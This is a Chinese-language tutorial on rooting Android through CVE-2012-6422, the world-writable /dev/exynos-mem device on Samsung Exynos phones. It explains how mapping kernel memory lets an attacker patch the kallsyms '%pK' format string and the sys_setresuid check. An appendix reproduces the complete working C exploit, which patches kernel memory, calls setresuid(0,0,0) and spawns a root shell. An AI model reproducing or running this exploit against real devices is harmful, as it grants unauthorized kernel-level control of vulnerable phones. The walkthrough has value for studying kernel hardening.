让我们的Android ROOT,多一点套路。
一、简单套路
CVE-2012-6422的漏洞利用代码,展示了另一种提权方法。(见附录)
这也是一个mmap驱动接口校验导致映射任意内核地址的洞。将内核映射到用户进程空间后,使用setresuid(0, 0, 0)进行提权。
其步骤如下:
- 利用漏洞,映射内核到调用者进程空间
- 搜索内核,查找“%pK %c %s ”,并Patch成“%p %c %s ”
- 搜索内核,查找sys_setresuid符号地址
- 搜索sys_setresuid代码段,查找“0xe3500000” 并Patch为“0xe3500001”
- 用户态调用setresuid()提权
- 将前面2处Patch恢复原貌
二、详解
1)为什么搜索“%pK %c %s ”
我们获得Linux的内核符号地址,一般首选读取/proc/kallsyms,但由于kptr_restrict的引入(/proc/sys/kernel/kptr_restrict),读到的内核符号地址一般是被抹掉的(0x00000000)。
查看内核实现,在执行$ cat /proc/kallsyms 时,对应内核代码为s_show()函数:
527 static int s_show(struct seq_file *m, void *p)
528 {
529 struct kallsym_iter *iter = m->private;
530
531 /* Some debugging symbols have no name. Ignore them. */
532 if (!iter->name[0])
533 return 0;
534
535 if (iter->module_name[0]) {
536 char type;
537
538 /*
539 * Label it "global" if it is exported,
540 * "local" if not exported.
541 */
542 type = iter->exported ? toupper(iter->type) :
543 tolower(iter->type);
544 seq_printf(m, "%pK %c %s [%s]
", (void *)iter->value,
545 type, iter->name, iter->module_name);
546 } else
547 seq_printf(m, "%pK %c %s
", (void *)iter->value,
548 iter->type, iter->name);
549 return 0;
550 }
我们在/proc/kallsyms中看到的3列值,是由下述代码生成:
547 seq_printf(m, "%pK %c %s
", (void *)iter->value,
548 iter->type, iter->name);
其中%pK格式符会根据kptr_restrict值,选择是否显示符号地址,默认kptr_restrict值一般为1,即隐藏符号地址。只需要将K替换为空格,即可绕过此限制。
2)为什么要将sys_setresuid代码的“0xe3500000” Patch为“0xe3500001”
我们知道,如果成功调用setresuid(0, 0, 0),则会获得root权限,但成功执行此调用需要严格条件,具体描述下。
setresuid()被执行的条件有:
-
当前进程的euid是root
-
三个参数,每一个等于原来某个id中的一个
如果满足以上条件的任意一个,setresuid()都可以正常调用并执行,将进程的ID设置成对应的ID。
但显然,我们的提权程序不满足上述任何一个条件,那怎么办呢。看代码。
/*
* This function implements a generic ability to update ruid, euid,
* and suid. This allows you to implement the 4.4 compatible seteuid().
*/
asmlinkage long sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
int old_ruid = current->uid;
int old_euid = current->euid;
int old_suid = current->suid;
int retval;
retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES);
if (retval)
return retval;
if (!capable(CAP_SETUID)) {
if ((ruid != (uid_t) -1) && (ruid != current->uid) &&
(ruid != current->euid) && (ruid != current->suid))
return -EPERM;
if ((euid != (uid_t) -1) && (euid != current->uid) &&
(euid != current->euid) && (euid != current->suid))
return -EPERM;
if ((suid != (uid_t) -1) && (suid != current->uid) &&
(suid != current->euid) && (suid != current->suid))
return -EPERM;
}
if (ruid != (uid_t) -1) {
if (ruid != current->uid && set_user(ruid, euid != current->euid) < 0)
return -EAGAIN;
}
if (euid != (uid_t) -1) {
if (euid != current->euid)
{
current->mm->dumpable = 0;
wmb();
}
current->euid = euid;
}
current->fsuid = current->euid;
if (suid != (uid_t) -1)
current->suid = suid;
return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_RES);
}
sys_setresuid()的逻辑很简单,首先调用 retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES); 设置实际用户ID,有效用户ID及保存的设置用户ID,如果成功,直接返回retval。
setresuid()有个性质,英文名称是all-or-nothing effect,意思是,如果setresuid()对某一个ID设置成功了,其他的失败了,比如只改变了ruid,suid和euid都改失败了,那么程序会将ruid改回原来的值,即保证要么三个ID都能成功修改,要么三个都没能修改成功。
我们只需要Patch掉下述代码,使其返回成功。
if (retval)
return retval;
而其对应的ARM汇编为:
cmp r0, #0
对应字节码为 0xE3500000,只需将其Patch成cmp r0, #1即可,即0xE3500001,所有进程的setresuid(0, 0, 0)都将成功执行,将当前进程提升到root权限。
ARM Opcodes查询可通过:http://armconverter.com
三、附录:CVE-2012-6422 exploit
/*
* exynos-mem device abuse by alephzain
*
* /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
*
* the device is R/W by all users :
* crw-rw-rw- 1 system graphics 1, 14 Dec 13 20:24 /dev/exynos-mem
*
*/
/*
* Abuse it for root shell
*/
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000
int main(int argc, char **argv, char **env) {
int fd, i, m, index, result;
unsigned long *paddr = NULL;
unsigned long *tmp = NULL;
unsigned long *restore_ptr_fmt = NULL;
unsigned long *restore_ptr_setresuid = NULL;
unsigned long addr_sym;
int page_size = sysconf(_SC_PAGE_SIZE);
int length = page_size * page_size;
/* for root shell */
char *cmd[2];
cmd[0] = "/system/bin/sh";
cmd[1] = NULL;
/* /proc/kallsyms parsing */
FILE *kallsyms = NULL;
char line [512];
char *ptr;
char *str;
bool found = false;
/* open the door */
fd = open("/dev/exynos-mem", O_RDWR);
if (fd == -1) {
printf("[!] Error opening /dev/exynos-mem
");
exit(1);
}
/* kernel reside at the start of physical memory, so take some Mb */
paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
tmp = paddr;
if (paddr == MAP_FAILED) {
printf("[!] Error mmap: %s|%08X
",strerror(errno), i);
exit(1);
}
/*
* search the format string "%pK %c %s
" in memory
* and replace "%pK" by "%p" to force display kernel
* symbols pointer
*/
for(m = 0; m < length; m += 4) {
if(*(unsigned long *)tmp == 0x204b7025
&& *(unsigned long *)(tmp+1) == 0x25206325
&& *(unsigned long *)(tmp+2) == 0x00000a73 ) {
printf("[*] s_show->seq_printf format string found at: 0x%08X
", PAGE_OFFSET + m);
restore_ptr_fmt = tmp;
*(unsigned long*)tmp = 0x20207025;
found = true;
break;
}
tmp++;
}
if (found == false) {
printf("[!] s_show->seq_printf format string not found
");
exit(1);
}
found = false;
/* kallsyms now display symbols address */
kallsyms = fopen("/proc/kallsyms", "r");
if (kallsyms == NULL) {
printf("[!] kallsysms error: %s
", strerror(errno));
exit(1);
}
/* parse /proc/kallsyms to find sys_setresuid address */
while((ptr = fgets(line, 512, kallsyms))) {
str = strtok(ptr, " ");
addr_sym = strtoul(str, NULL, 16);
index = 1;
while(str) {
str = strtok(NULL, " ");
index++;
if (index == 3) {
if (strncmp("sys_setresuid
", str, 14) == 0) {
printf("[*] sys_setresuid found at 0x%08X
",addr_sym);
found = true;
}
break;
}
}
if (found) {
tmp = paddr;
tmp += (addr_sym - PAGE_OFFSET) >> 2;
for(m = 0; m < 128; m += 4) {
if (*(unsigned long *)tmp == 0xe3500000) {
printf("[*] patching sys_setresuid at 0x%08X
",addr_sym+m);
restore_ptr_setresuid = tmp;
*(unsigned long *)tmp = 0xe3500001;
break;
}
tmp++;
}
break;
}
}
fclose(kallsyms);
/* to be sure memory is updated */
usleep(100000);
/* ask for root */
result = setresuid(0, 0, 0);
/* restore memory */
*(unsigned long *)restore_ptr_fmt = 0x204b7025;
*(unsigned long *)restore_ptr_setresuid = 0xe3500000;
munmap(paddr, length);
close(fd);
if (result) {
printf("[!] set user root failed: %s
", strerror(errno));
exit(1);
}
/* execute a root shell */
execve (cmd[0], cmd, env);
return 0;
}